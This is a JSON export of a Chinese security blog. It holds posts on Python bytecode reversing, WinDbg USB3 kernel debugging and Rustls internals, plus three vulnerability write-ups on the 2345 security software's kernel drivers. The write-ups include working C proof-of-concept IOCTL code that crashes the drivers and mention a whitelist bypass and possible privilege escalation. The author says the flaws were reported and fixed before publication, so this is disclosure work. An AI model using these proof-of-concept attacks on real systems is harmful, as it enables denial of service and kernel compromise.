forked from anhkgg/anhkgg.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 374 KB
/
content.json
1
[{"title":"死磕python字节码-手工还原python源码(网鼎杯第四场逆向题chaoyang)","date":"2018-09-04T15:21:29.000Z","path":"python-bytecode/","text":"0x1.前言 Python 代码先被编译为字节码后,再由Python虚拟机来执行字节码, Python的字节码是一种类似汇编指令的中间语言, 一个Python语句会对应若干字节码指令,虚拟机一条一条执行字节码指令, 从而完成程序执行。Python dis 模块支持对Python代码进行反汇编, 生成字节码指令。 dis.dis()将CPython字节码转为可读的伪代码(类似于汇编代码)。结构如下: 1234567891011121314157 0 LOAD_CONST 1 (0) 3 STORE_FAST 1 (local1)8 6 LOAD_CONST 2 (101) 9 STORE_GLOBAL 0 (global1)9 12 LOAD_FAST 1 (local1) 15 PRINT_ITEM 16 LOAD_FAST 0 (arg1) 19 PRINT_ITEM 20 LOAD_GLOBAL 0 (global1) 23 PRINT_ITEM 24 PRINT_NEWLINE 25 LOAD_CONST 0 (None) 28 RETURN_VALUE 其实就是这样的结构: 1源码行号 | 指令在函数中的偏移 | 指令符号 | 指令参数 | 实际参数值 0x2.变量1.constLOAD_CONST加载const变量,比如数值、字符串等等,一般用于传给函数的参数 123455 12 LOAD_GLOBAL 1 (test) 15 LOAD_FAST 0 (2) #读取2 18 LOAD_CONST 1 ('output') 21 CALL_FUNCTION 2 转为python代码就是: 1test(2, 'output') 2.局部变量LOAD_FAST一般加载局部变量的值,也就是读取值,用于计算或者函数调用传参等。STORE_FAST一般用于保存值到局部变量。 123461 77 LOAD_FAST 0 (n) 80 LOAD_FAST 3 (p) 83 INPLACE_DIVIDE 84 STORE_FAST 0 (n) 这段bytecode转为python就是: 1n = n / p 函数的形参也是局部变量,如何区分出是函数形参还是其他局部变量呢? 形参没有初始化,也就是从函数开始到LOAD_FAST该变量的位置,如果没有看到STORE_FAST,那么该变量就是函数形参。 而其他局部变量在使用之前肯定会使用STORE_FAST进行初始化。 具体看下面的实例: 123456789104 0 LOAD_CONST 1 (0) 3 STORE_FAST 1 (local1)5 6 LOAD_FAST 1 (local1) 9 PRINT_ITEM 10 LOAD_FAST 0 (arg1) 13 PRINT_ITEM 14 PRINT_NEWLINE 15 LOAD_CONST 0 (None) 18 RETURN_VALUE 对应的python代码如下,对比一下就一目了然。 123def test(arg1): local1 = 0 print local1, arg1 3.全局变量LOAD_GLOBAL用来加载全局变量,包括指定函数名,类名,模块名等全局符号。 STORE_GLOBAL用来给全局变量赋值。 12348 6 LOAD_CONST 2 (101) 9 STORE_GLOBAL 0 (global1) 20 LOAD_GLOBAL 0 (global1) 23 PRINT_ITEM 对应的python代码 1234def test(): global global1 global1 = 101 print global 0x3.常用数据类型1.listBUILD_LIST用于创建一个list结构。 123413 0 LOAD_CONST 1 (1) 3 LOAD_CONST 2 (2) 6 BUILD_LIST 2 9 STORE_FAST 0 (k) 对应python代码是: 1k = [1, 2] 另外再看看一种常见的创建list的方式如下: 1[x for x in xlist if x!=0 ] 一个实例bytecode如下: 1234567891011121322 235 BUILD_LIST 0 //创建list,为赋值给某变量,这种时候一般都是语法糖结构了 238 LOAD_FAST 3 (sieve) 241 GET_ITER >> 242 FOR_ITER 24 (to 269) 245 STORE_FAST 4 (x) 248 LOAD_FAST 4 (x) 251 LOAD_CONST 2 (0) 254 COMPARE_OP 3 (!=) 257 POP_JUMP_IF_FALSE 242 //不满足条件contine 260 LOAD_FAST 4 (x)//读取满足条件的x 263 LIST_APPEND 2 //把每个满足条件的x存入list 266 JUMP_ABSOLUTE 242 >> 269 RETURN_VALUE 转为python代码是: 1[for x in sieve if x != 0] 2.dictBUILD_MAP用于创建一个空的dict。STORE_MAP用于初始化dict的内容。 1234513 0 BUILD_MAP 1 3 LOAD_CONST 1 (1) 6 LOAD_CONST 2 ('a') 9 STORE_MAP 10 STORE_FAST 0 (k) 对应的python代码是: 1k = {'a': 1} 再看看修改dict的bytecode: 123414 13 LOAD_CONST 3 (2) 16 LOAD_FAST 0 (k) 19 LOAD_CONST 4 ('b') 22 STORE_SUBSCR 对应的python代码是: 1k['b'] = 2 3.sliceBUILD_SLICE用于创建slice。对于list、元组、字符串都可以使用slice的方式进行访问。 但是要注意BUILD_SLICE用于[x:y:z]这种类型的slice,结合BINARY_SUBSCR读取slice的值,结合STORE_SUBSCR用于修改slice的值。 另外SLICE+n用于[a:b]类型的访问,STORE_SLICE+n用于[a:b]类型的修改,其中n表示如下: 1234567891011SLICE+0()Implements TOS = TOS[:].SLICE+1()Implements TOS = TOS1[TOS:].SLICE+2()Implements TOS = TOS1[:TOS].SLICE+3()Implements TOS = TOS2[TOS1:TOS]. 下面看具体实例: 123456789101112131415161718192021222324252627282930313233343513 0 LOAD_CONST 1 (1) 3 LOAD_CONST 2 (2) 6 LOAD_CONST 3 (3) 9 BUILD_LIST 3 12 STORE_FAST 0 (k1) //k1 = [1, 2, 3] 14 15 LOAD_CONST 4 (10) 18 BUILD_LIST 1 21 LOAD_FAST 0 (k1) 24 LOAD_CONST 5 (0) 27 LOAD_CONST 1 (1) 30 LOAD_CONST 1 (1) 33 BUILD_SLICE 3 36 STORE_SUBSCR //k1[0:1:1] = [10] 15 37 LOAD_CONST 6 (11) 40 BUILD_LIST 1 43 LOAD_FAST 0 (k1) 46 LOAD_CONST 1 (1) 49 LOAD_CONST 2 (2) 52 STORE_SLICE+3 //k1[1:2] = [11] 16 53 LOAD_FAST 0 (k1) 56 LOAD_CONST 1 (1) 59 LOAD_CONST 2 (2) 62 SLICE+3 63 STORE_FAST 1 (a) //a = k1[1:2] 17 66 LOAD_FAST 0 (k1) 69 LOAD_CONST 5 (0) 72 LOAD_CONST 1 (1) 75 LOAD_CONST 1 (1) 78 BUILD_SLICE 3 81 BINARY_SUBSCR 82 STORE_FAST 2 (b) //b = k1[0:1:1] 0x4.循环SETUP_LOOP用于开始一个循环。SETUP_LOOP 26 (to 35)中35表示循环退出点。 while循环1234567891011121314151623 0 LOAD_CONST 1 (0) 3 STORE_FAST 0 (i) // i=024 6 SETUP_LOOP 26 (to 35) >> 9 LOAD_FAST 0 (i) //循环起点 12 LOAD_CONST 2 (10) 15 COMPARE_OP 0 (<) 18 POP_JUMP_IF_FALSE 34 //while i < 10:25 21 LOAD_FAST 0 (i) 24 LOAD_CONST 3 (1) 27 INPLACE_ADD 28 STORE_FAST 0 (i) // i += 1 31 JUMP_ABSOLUTE 9 // 回到循环起点 >> 34 POP_BLOCK >> 35 LOAD_CONST 0 (None) 对应python代码是: 123i = 0 while i < 10: i += 1 for in结构123456 238 LOAD_FAST 3 (sieve)#sieve是个list 241 GET_ITER //开始迭代sieve>> 242 FOR_ITER 24 (to 269) //继续iter下一个x 245 STORE_FAST 4 (x) ... 266 JUMP_ABSOLUTE 242 //循环 这是典型的for+in结构,转为python代码就是: 1for x in sieve: 0x5.ifPOP_JUMP_IF_FALSE和JUMP_FORWARD一般用于分支判断跳转。POP_JUMP_IF_FALSE表示条件结果为FALSE就跳转到目标偏移指令。JUMP_FORWARD直接跳转到目标偏移指令。 123456789101112131415161718192021222324252623 0 LOAD_CONST 1 (0) 3 STORE_FAST 0 (i) //i=024 6 LOAD_FAST 0 (i) 9 LOAD_CONST 2 (5) 12 COMPARE_OP 0 (<) 15 POP_JUMP_IF_FALSE 2625 18 LOAD_CONST 3 ('i < 5') 21 PRINT_ITEM 22 PRINT_NEWLINE 23 JUMP_FORWARD 25 (to 51)26 >> 26 LOAD_FAST 0 (i) 29 LOAD_CONST 2 (5) 32 COMPARE_OP 4 (>) 35 POP_JUMP_IF_FALSE 4627 38 LOAD_CONST 4 ('i > 5') 41 PRINT_ITEM 42 PRINT_NEWLINE 43 JUMP_FORWARD 5 (to 51)29 >> 46 LOAD_CONST 5 ('i = 5') 49 PRINT_ITEM 50 PRINT_NEWLINE >> 51 LOAD_CONST 0 (None) 转为python代码是: 1234567i = 0if i < 5: print 'i < 5'elif i > 5: print 'i > 5'else: print 'i = 5' 0x6.分辨函数1.函数范围前面介绍第二列表示指令在函数中的偏移地址,所以看到0就是函数开始,下一个0前一条指令就是函数结束位置,当然也可以通过RETURN_VALUE来确定函数结尾 123456789101154 0 LOAD_FAST 1 (plist) //函数开始 3 LOAD_CONST 0 (None) 6 COMPARE_OP 2 (==) 9 POP_JUMP_IF_FALSE 3355 ...67 >> 139 LOAD_FAST 2 (fs) 142 RETURN_VALUE70 0 LOAD_CONST 1 ('FLAG') //另一个函数开始 3 STORE_FAST 0 (flag) 2.函数调用函数调用类似于push+call的汇编结构,压栈参数从左到右依次压入(当然不是push,而是读取指令LOAD_xxxx来指定参数)。 函数名一般通过LOAD_GLOBAL指令指定,如果是模块函数或者类成员函数通过LOAD_GLOBAL+LOAD_ATTR来指定。 先指定要调用的函数,然后压参数,最后通过CALL_FUNCTION调用。 CALL_FUNCTION后面的值表示有几个参数。 支持嵌套调用: 12345676 0 LOAD_GLOBAL 0 (int) //int函数 3 LOAD_GLOBAL 1 (math)//math模块 6 LOAD_ATTR 2 (sqrt)//sqrt函数 9 LOAD_FAST 0 (n) //参数 12 CALL_FUNCTION 1 15 CALL_FUNCTION 1 18 STORE_FAST 2 (nroot) 这段bytecode转换成python代码就是 1nroot = int(math.sqrt(n)) //其中n是一个局部变量或者函数参数,具体看上下文 0x7.其他指令其他常见指令,一看就明白,就不具体分析了,更多详细内容请看官方文档。 1234567891011121314151617181920212223242526272829303132333435363738INPLACE_POWER()Implements in-place TOS = TOS1 ** TOS.INPLACE_MULTIPLY()Implements in-place TOS = TOS1 * TOS.INPLACE_DIVIDE()Implements in-place TOS = TOS1 / TOS when from __future__ import division is not in effect.INPLACE_FLOOR_DIVIDE()Implements in-place TOS = TOS1 // TOS.INPLACE_TRUE_DIVIDE()Implements in-place TOS = TOS1 / TOS when from __future__ import division is in effect.INPLACE_MODULO()Implements in-place TOS = TOS1 % TOS.INPLACE_ADD()Implements in-place TOS = TOS1 + TOS.INPLACE_SUBTRACT()Implements in-place TOS = TOS1 - TOS.INPLACE_LSHIFT()Implements in-place TOS = TOS1 << TOS.INPLACE_RSHIFT()Implements in-place TOS = TOS1 >> TOS.INPLACE_AND()Implements in-place TOS = TOS1 & TOS.INPLACE_XOR()Implements in-place TOS = TOS1 ^ TOS.INPLACE_OR()Implements in-place TOS = TOS1 | TOS. 基础运算还有一套对应的BINARY_xxxx指令,两者区别很简单。 12i += 1 //使用INPLACE_xxxi = i + 1 //使用BINARY_xxxx 参考资料 python dis官方文档 google搜索dis指令 https://github.com/vstinner/bytecode https://blog.hakril.net/articles/2-understanding-python-execution-tracer.html A Python Interpreter Written in Python https://blog.csdn.net/qs9816/article/details/51661659 https://github.com/Mysterie/uncompyle2 转载请注明出处:https://anhkgg.github.io/python-bytecode/","tags":[{"name":"python","slug":"python","permalink":"https://anhkgg.github.io/tags/python/"},{"name":"CTF","slug":"CTF","permalink":"https://anhkgg.github.io/tags/CTF/"},{"name":"逆向","slug":"逆向","permalink":"https://anhkgg.github.io/tags/逆向/"}]},{"title":"2345内核拒绝服务漏洞(3) - WORD的锅","date":"2018-07-13T04:25:33.000Z","path":"vul-2345-3/","text":"漏洞概述 软件网址:http://safe.2345.cc/ 版本:v3.7 X64 2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x0022204C)接口处理中,对输入数据校验不严格,精心构造的数据可导致在处理过程中内存拷贝时溢出,然后bsod拒绝服务,甚至可内核提权。 漏洞分析在IRP_MJ_DEVICE_CONTROL处理函数中,对0x22204C接口进行处理时,有一段拷贝字符串的操作如下所示: 1234567891011struct _ioctl_buf{ WORD len; WORD len_; DWORD unk2; _ioctl_buf_str *ptr;};struct _ioctl_buf_str{ wchar_t buf[1];}; a2是一个_ioctl_buf结构(由应用层输入构造而成),len2是输入的另一个字符串的长度,通过a2->len(2字节)和len2(2字节)计算得到len1,关键在于len1是也一个WORD变量,只有2字节,所以当a2->len+len2的大小超过WORD溢出之后,会被截断成WORD,截断后的值赋给len1,此时就可能导致len1的值反而小于a2->len。比如: 120xa3d0 + 0xb4f0 = 0x158C0 =>截断=> 0x58C00x58C0 < 0xa3d0 接着根据len1分配内存p,memmove拷贝a2->ptr内容到p中,长度按a2->len,问题就来了,a2-len大于len1时,就会导致拷贝溢出,bsod(写溢出,可控制内容,可以做更多的利用了,这里我不擅长了)。 好了,漏洞成因这里就分析完了。 下面看一下poc: 1234567891011121314151617181920212223242526272829303132333435363738394041424344int poc(){ DWORD BytesReturned = 0; HANDLE h = OpenDevice("\\\\\\\\.\\\\2345BdPcSafe"); if (h == INVALID_HANDLE_VALUE) { return 1; } //过白名单检查 if (!BypassChk(h)) { return 1; } //BSOD DWORD ctlcode = 0x22204C;#pragma pack(push, 1) struct _ioctl_buf_in { DWORD unk1; DWORD unk2;//4 DWORD offset1;//8 =0x18 DWORD offset2;//c =A3E8 DWORD offset3;//10 DWORD unk3;//14 char buf1[0xa3d0];//18 char buf2[0xb4f0];//18+a3d0 }; //0x158D8#pragma pack(pop) _ioctl_buf_in buff = { 0 }; buff.unk1 = 4; buff.unk3 = 4; buff.offset1 = 0x18; buff.offset2 = (char*)&buff.buf2 - (char*)&buff; buff.offset3 = 0; memset(buff.buf1, 0x41, 0xa3d0); memset(buff.buf2, 0x41, 0xb4f0); if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, 0, &BytesReturned, NULL)) { printf("[-] DeviceIoControl %x error: %d\\n", ctlcode, GetLastError()); } return 0;} 其中buff.buf1和buff.buf2的长度0xa3d0 + 0xb4f0 = 0x158c0(截断)就是a2->len(0x58c0),buff.buf2的长度b4f0就是len2。 我们在调试中看一下计算结果,可以清晰看到len1=0xdb2 < 0x58c0(a2->len)。 12345678910111213141516171819202122232425262728293031323334350: kd> p2345BdPcSafe+0x561c:fffff880`0540561c 660307 add ax,word ptr [rdi]0: kd> r rdirdi=fffffa80265396580: kd> dw fffffa8026539658 l1fffffa80`26539658 58c0//a2->len = 0x58c00: kd> p2345BdPcSafe+0x561f:fffff880`0540561f 664103c1 add ax,r9w0: kd> r raxrax=00000000000058c2//len2 = 0xb4f00: kd> r r9r9=000000000000b4f00: kd> p2345BdPcSafe+0x5623:fffff880`05405623 0fb7d0 movzx edx,ax0: kd> r raxrax=0000000000000db2//len1 = 0xdb20: kd> p2345BdPcSafe+0x562a:fffff880`0540562a ff15b80e0300 call qword ptr [2345BdPcSafe+0x364e8 (fffff880`054364e8)]0: kd> dq fffff880`054364e8 l1fffff880`054364e8 fffff800`03ff70e00: kd> u fffff800`03ff70e0nt!ExAllocatePoolWithTag:fffff800`03ff70e0 fff5 push rbp0: kd> r rcx;r rdx;r r8rcx=0000000000000001rdx=0000000000000db2r8=0000000035343332//参数:p = ExAllocatePoolWithTag(1, 0xdb2, 0x35343332); 结语这个漏洞主要是对输入参数结构体的长度字段校验不够严谨,导致变量溢出截断出现意外的大小结果导致了漏洞的产生。 该系列后续会继续分析其他原因引起的漏洞,如有兴趣,敬请期待! 转载请注明出处:https://anhkgg.github.io/vul-2345-3/","tags":[{"name":"vul","slug":"vul","permalink":"https://anhkgg.github.io/tags/vul/"},{"name":"exploit","slug":"exploit","permalink":"https://anhkgg.github.io/tags/exploit/"},{"name":"fuzz","slug":"fuzz","permalink":"https://anhkgg.github.io/tags/fuzz/"}]},{"title":"2345内核拒绝服务漏洞(2)","date":"2018-07-08T03:15:49.000Z","path":"vul-2345-2/","text":"漏洞概述 软件网址:http://safe.2345.cc/ 版本:v3.7 X64 2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x002220E4)接口处理中,对输入数据校验不严格,可构造数据中包含非法地址导致访问违例,然后bsod拒绝服务。 漏洞分析在IRP_MJ_DEVICE_CONTROL处理函数中,对0x2220E4接口进行处理时如下所示: InputBuf是应用层传入的输入缓存内容,校验InputBuf是否为空,长度是否超过8字节,然后通过MmIsAddressValid验证地址是否合法,合法后通过偏移16访问该内存内容是否等于标记li7p。 问题就出在这里,MmIsAddressValid并不能验证一个内存某范围内是否可读可写,仅仅只能验证该地址读写是否会触发一个页错误。 所以我们就可以构造一个可通过MmIsAddressValid验证并且地址16偏移不可读的内存作为输入,造成bsod。 看下面的poc代码,通过VirtualAlloc分配一个页大小的内存,可读可写,然后计算页地址尾地址-4作为输入缓存的ptr,这样MmIsAddressValid可通过校验,再内核读取ptr+16偏移时地址已经超过该页内存范围,不可访问,导致bsod。 1234567891011121314151617181920212223242526272829303132333435int poc(){ DWORD BytesReturned = 0; HANDLE h = OpenDevice("\\\\\\\\.\\\\2345BdPcSafe"); if (h == INVALID_HANDLE_VALUE) { return 1; } //过白名单检查 if (!BypassChk(h)) { return 1; } //BSOD DWORD ctlcode = 0x2220E4;#pragma pack(push,1) struct _ioctl_buf_in { __int64 ptr; };#pragma pack(pop) _ioctl_buf_in buff = { 0 }; //分配一个页,可读可写,将该页地址尾地址-4作为输入缓存的ptr //然后读取+16偏移时地址已经越过该页内存范围,不可访问,bsod PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE); memset(ptr, 0x41, 0x1000);// buff.ptr = (__int64)ptr + 0x1000 - 0x4; if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, sizeof(_ioctl_buf_in), &BytesReturned, NULL)) { printf("[-] DeviceIoControl %x error: %d\\n", ctlcode, GetLastError()); } return 0;} 看看内存更加清晰,buff地址是003efea0,buff.ptr的值是00030ffc,可以清楚看到00030ffc+16偏移处肯定是不可读的了。 123456780: kd:x86> dd 003efe3c 00000000`003efe3c 003efe68 75db3237 00000030 002220e400000000`003efe4c 003efea0 00000008 003efea0 000000080: kd:x86> dd 003efea0 00000000`003efea0 00030ffc 00000000 01234808 003efef80: kd:x86> dd 00030ffc 00000000`00030ffc 41414141 ???????? ???????? ????????00000000`0003100c ???????? ???????? ???????? ???????? 结语这个漏洞算是前一个的延申,依然是应用层传入内容中包括内存地址,也加入了内存合法性验证代码,但是却没什么用,并没有验证到要访问的内存处的合法性,这个疏漏导致了漏洞的产生。 更好的验证内存合法性的函数应该使用ProbeForRead(p, len, x),可以验证一个范围内内存的合法性,更加严谨,能更好的避免漏洞的产生。 稍微总结一下,应用层传入内容结构越复杂,越容易出现问题。这个漏洞出现的位置,本来应该是2345接口协议验证的代码,是为了增加安全性的,却不想成为了安全性问题的原因。 该系列后续会继续分析其他原因引起的漏洞,如有兴趣,敬请期待! 转载请注明出处:https://anhkgg.github.io/vul-2345-2/ 参考 如何验证一个地址可否使用—— MmIsAddressValid函数分析 https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-mmisaddressvalid","tags":[{"name":"vul","slug":"vul","permalink":"https://anhkgg.github.io/tags/vul/"},{"name":"exploit","slug":"exploit","permalink":"https://anhkgg.github.io/tags/exploit/"},{"name":"fuzz","slug":"fuzz","permalink":"https://anhkgg.github.io/tags/fuzz/"}]},{"title":"2345内核拒绝服务漏洞(1)","date":"2018-07-08T03:15:39.000Z","path":"vul-2345-1/","text":"概述已经快2个月了吧,已经忘了是什么原因突然搞起了驱动漏洞,反正就是很有兴致地想挖掘一下驱动漏洞。 在网上了解了基本的驱动漏洞挖掘方法,主要是通过ioctl接口进行挖掘,已经有很多相关fuzz工具了,比如ioctlbf、kDriver-Fuzzer等等。 kDriver-Fuzzer的作者k0keoyo在2017年收获了100多个CVE,很牛逼啊,这个已经2018年了,再来挖此种类型的驱动是不是已经晚了啊,心中苦涩啊。 不过毕竟也写了几年驱动程序了,不搞搞怎么也说不过去啊,所以开始干! 初学者嘛,还是找软柿子捏捏,什么微软、卡巴、小红伞、360、管家先还是别想了,很巧的知道了2345安全软件(此处想笑,毕竟为我贡献了不少…),先啥也不管,IDA一番… 很不幸的,没多久2345就被我弄翻了,嗯,听说该公司年代也挺久了,咋这么… 经过俩周手工和工具的连番蹂躏,发现2345安全软件驱动共10多个内核拒绝服务漏洞(某些也许可提权),也第一次感受到了拿CVE的感觉(其实怎么感觉都有点waterwater的)… 好,前言胡扯差不多就到这里了,本系列将拿2345中几个典型的原因造成的安全漏洞进行一番分析,希望对和我一样的初学者有一定帮助。 哦,当然,在连番联系2345客服催促之后,2345终于修复了所有漏洞,所以我才等到这个时候分享文章,分析一些细节应该对他们没什么影响了吧(不过,我可没有所有的都重新验证一遍,申明一下,大家不要拿来干坏事,出事了我概不负责!) 漏洞概况 软件网址:http://safe.2345.cc/ 版本:v3.7 X86 2345安全软件的驱动2345NetFirewall.sys在ioctl(0x00222014)接口处理中,对输入数据校验不严格,可构造数据中包含非法地址导致访问违例,然后bsod拒绝服务。 漏洞分析在IRP_MJ_DEVICE_CONTROL处理函数中,对0x222014接口进行处理时如下所示: InputBuf是应用层传入的输入缓存内容,校验InputBuf是否为空,长度是否超过8字节,然后在memcpy位置直接取InputBuf第一个字段(0偏移)作为目标地址拷贝内容进去,这里未校验第一个字段值作为内存地址的合法性。 看到这里是不是有什么邪恶的想法了,把该字段置0,那么memcpy(0, xx, xx)不就bsod了。嗯,有点想多了,2345还是受过一些伤害做过一些自我修复的。 看下面,该段代码有异常处理保护,so,0地址bsod不成了(确认该处在3.6版本时被人法克了的,所以补了一下)。 既然0不行,那么其他地址还是可以的嘛,比如某些内核地址0x80000000,或者nt!HalDispatchTable(某些提权方式使用的地址)。 用下面的poc代码尝试了一下,bsod! 1234567891011ctlcode = 0x222014;NETFW_IOCTL_222014 buf_222014 = {0};buf_222014.size = 1;buf_222014.ptr = (DWORD*)0x80000000; //非法内核地址if(!DeviceIoControl(h, ctlcode, &buf_222014, sizeof(NETFW_IOCTL_222014), &buf_222014, sizeof(NETFW_IOCTL_222014), &BytesReturned, NULL)) { printf("[-] DeviceIoControl %x error: %d\\n", ctlcode, GetLastError());}kd> dd 8000000080000000 ???????? ???????? ???????? ????????80000010 ???????? ???????? ???????? ???????? 至此,该内核拒绝服务漏洞验证成功,替换未其他内核地址还是有希望提权的,这里不在深入研究。 结语看完整篇,其实知道该漏洞真的很明显,很弱B是吧。但是基于某些原因(门槛?漏洞价值?),内核驱动这方面受到的关注较少,所以被虐的少了,开发人员重视程度也不够,所以对于参数的校验上就没那么认真严谨了!所以留下了这种弱X的洞洞被我捡漏。 当然,前面提到2345在3.6版本中已经被人干过,所以还是做了一定的工作的,除了加入了异常保护代码,对于ioctl接口调用也加入了一定的限制和校验。所以poc不是直接就调用接口就成功触发bsod的,而做了一定的前期工作来应对2345做的限制和保护。 这里不是重点,大致讲一下。在IRP_MJ_DEVICE_CONTROL处理函数中,首先会校验调用接口的进程是否在缓存的白名单进程中,但是呢2345又提供了ioctl接口来添加进程到白名单中,对该接口也没做什么其他的校验,所以很随意的调用成功,把自己的poc进程加入了白名单中,然后再调用漏洞接口触发bsod,完成! 另外,如果有兴趣也研究一些驱动此类漏洞的,并且对驱动编程不是很了解的,建议可以先简单学习一下简单驱动编写模板、ring3和ring0通信方式、驱动设备等等内容,推荐可以看看《Windows驱动开发技术详解》相关章节内容。 该系列后续会继续分析其他原因引起的漏洞,如有兴趣,敬请期待! 转载请注明出处:https://anhkgg.github.io/vul-2345-1/","tags":[{"name":"vul","slug":"vul","permalink":"https://anhkgg.github.io/tags/vul/"},{"name":"exploit","slug":"exploit","permalink":"https://anhkgg.github.io/tags/exploit/"},{"name":"fuzz","slug":"fuzz","permalink":"https://anhkgg.github.io/tags/fuzz/"}]},{"title":"Windbg USB3.0双机调试","date":"2018-03-23T06:31:36.000Z","path":"windbg-usb3-dbg-win10/","text":"配置需求1.目标主机有USB3.0 xHCI主机控制器,支持调试2.host主机支持USB3.0 xHCI主机控制器(使用UsbView查看)3.USB 3.0 调试线(国外购买地址(可以用普通USB3.0 公对公线改造,剪掉红绿百三根线) 先从淘宝买一根USB 3的A对A连线,有时也称公对公连线,很便宜。这根线需要加工一下才可以支持调试,加工的方法是选取线的某个位置,剥开外皮,然后把其中的红绿白三根线剪断,然后包上就可以了。USB 3电缆的线是有固定颜色的,如图3所示,其中SDP是Shielded Differential Pair的缩写,即屏蔽起来的差分信号线,是USB 3.0的数据线,UTP是Unshielded Twisted Pair的缩写,即未屏蔽的双绞线,是USB1/2使用的数据线,所谓的D+,D-。要做的加工其实就是把2.0的三根弦剪断。剥开后,很容易找到红绿白三根,胆大心细,下剪子吧:-)。 4.两台主机系统必须是Win8以上 On the host computer, an xHCI (USB 3.0) host controllerOn the target computer, an xHCI (USB 3.0) host controller that supports debugging 步骤在目标主机配置调试模式。 命令: 12345bcdedit /debug onbcdedit /dbgsettings usb targetname:TargetName//如果目标主机有多个xHCI主机控制器,则需要配置需要使用的,b.d.f在usbview中可以看到bcdedit /set "{dbgsettings}" busparams b.d.f//重启主机 使用msconfig配置,引导,高级模式,勾选调试,选择USB模式,USB目标名:usbdbg host主机配置。 第一次配置,如果host是X64,开启X64 windbg,如果是x86,选择开启x86 windbg,需要管理员权限运行。 Ctrl+K,选择USB,填入目标主机配置的名字(usbdbg),确认,等待。 1234567Microsoft (R) Windows Debugger Version 10.0.14321.1024 AMD64Copyright (c) Microsoft Corporation. All rights reserved.Using USB for debuggingWaiting to reconnect...USB: Write opened 当将USB调试线插入host主机接口时,会自动安装相关驱动(usb2dbg等,管理员,位数等要求的原因)。 然后出现USB: Write opened表示与目标主机连接成功。 按下Ctrl+break,即可开始调试目标主机了 123456789101112131415161718192021222324252627282930313233343536373839Connected to Windows 10 16299 x64 target at (Tue Dec 12 09:47:18.535 2017 (UTC + 8:00)), ptr64 TRUEKernel Debugger connection established.************* Symbol Path validation summary **************Response Time (ms) LocationDeferred SRV*e:\\symbols* http://msdl.microsoft.com/download/symbolsDeferred SRV*e:\\symbols*http://msdl.microsoft.com/download/symbolsSymbol search path is: SRV*e:\\symbols* http://msdl.microsoft.com/download/symbols;SRV*e:\\symbols*http://msdl.microsoft.com/download/symbolsExecutable search path is: Windows 10 Kernel Version 16299 MP (4 procs) Free x64Product: WinNt, suite: TerminalServer SingleUserTSBuilt by: 16299.15.amd64fre.rs3_release.170928-1534Machine Name:Kernel base = 0xfffff800`9e21d000 PsLoadedModuleList = 0xfffff800`9e57efb0Debug session time: Tue Dec 12 09:47:12.452 2017 (UTC + 8:00)System Uptime: 3 days 17:11:46.032WARNING: Whitespace at end of path element************* Symbol Path validation summary **************Response Time (ms) LocationDeferred SRV*e:\\symbols* http://msdl.microsoft.com/download/symbolsDeferred SRV*e:\\symbols*http://msdl.microsoft.com/download/symbolsBreak instruction exception - code 80000003 (first chance)******************************************************************************** ** You are seeing this message because you pressed either ** CTRL+C (if you run console kernel debugger) or, ** CTRL+BREAK (if you run GUI kernel debugger), ** on your debugger machine's keyboard. ** ** THIS IS NOT A BUG OR A SYSTEM CRASH ** ** If you did not intend to break into the debugger, press the "g" key, then ** press the "Enter" key now. This message might immediately reappear. If it ** does, press "g" and "Enter" again. ** ********************************************************************************nt!DbgBreakPointWithStatus:fffff800`9e386c60 cc int 3 连接成功,设备管理中出现USB Debug Connection Device。 参考: setting-up-a-usb-3-0-debug-cable-connection USB3 Kernel Debugging with Dell PowerEdge 13G Servers http://blog.techlab-xe.net/archives/1961 使用USB3.0调试Windows 8","tags":[{"name":"windbg","slug":"windbg","permalink":"https://anhkgg.github.io/tags/windbg/"},{"name":"usb3","slug":"usb3","permalink":"https://anhkgg.github.io/tags/usb3/"},{"name":"debug","slug":"debug","permalink":"https://anhkgg.github.io/tags/debug/"},{"name":"win10","slug":"win10","permalink":"https://anhkgg.github.io/tags/win10/"}]},{"title":"Rustls之源码分析总结(一)","date":"2017-11-17T05:19:50.000Z","path":"rustls-source-code-analyze/","text":"作者:anhkgg 日期:2017-11-16 rustls已经支持tls1.3,但是测试分析中使用的tls1.2,所以后面分析主要集中在tls1.2。 主要分析的源码内容: client和server的握手协议流程 rustls是如何进行数据传输的 数据传输是如何加密解密的 源码结构分为client和server两部分 公共接口session.rs定义了SessionCommon,包括了数据传输、数据加密、包处理相关接口。 主要字段 123456789101112131415161718192021pub struct SessionCommon { pub negotiated_version: Option<ProtocolVersion>, //协商好的协议版本 pub is_client: bool, //是客户端true,是服务端false message_encrypter: Box<MessageEncrypter>, //数据加密接口 message_decrypter: Box<MessageDecrypter>, //数据解密接口 key_schedule: Option<KeySchedule>, suite: Option<&'static SupportedCipherSuite>, write_seq: u64, read_seq: u64, peer_eof: bool, pub peer_encrypting: bool, pub we_encrypting: bool, pub traffic: bool, // 默认false,握手完成字段为true pub want_write_key_update: bool, pub message_deframer: MessageDeframer, //消息帧处理对象,保存所有Message包 pub handshake_joiner: HandshakeJoiner, pub message_fragmenter: MessageFragmenter, received_plaintext: ChunkVecBuffer, //缓存接收到的数据明文 sendable_plaintext: ChunkVecBuffer,//缓存握手后需要传输的数据明文 pub sendable_tls: ChunkVecBuffer, //缓存握手数据包} 主要接口 函数名 说明 read_tls 接收底层连接数据 write_tls 通过底层连接发送数据 process_new_packets 每次调用read_tls之后都需要调用该函数主动触发消息处理 wants_read/wants_write 是否有数据需要接收发送 encrypt_outgoing 加密要发送的数据,在握手完成之后需要 decrypt_incoming 解密要接收的数据,在握手完成之后需要 send_msg_encrypt 发送加密数据 send_appdata_encrypt 发送握手之后的数据,加密 send_some_plaintext 发送明文数据,握手之后会被加密发送 start_traffic 握手完成之后调用,设置传输标志,发送缓存的数据明文 send_msg 发送TLS消息,根据是否加密走不通发送方式 take_received_plaintext 握手完成之后,收到数据会被调用,参数已经是明文Message set_message_encrypter 设置消息加密接口,start_encryption_tls12中调用 set_message_decrypter 设置消息解密接口,start_encryption_tls12中调用 start_encryption_tls12 TLS1.2设置加解密接口,在ExpectTLS12ServerDone::handle/ExpectTLS12ClientKX::handle调用 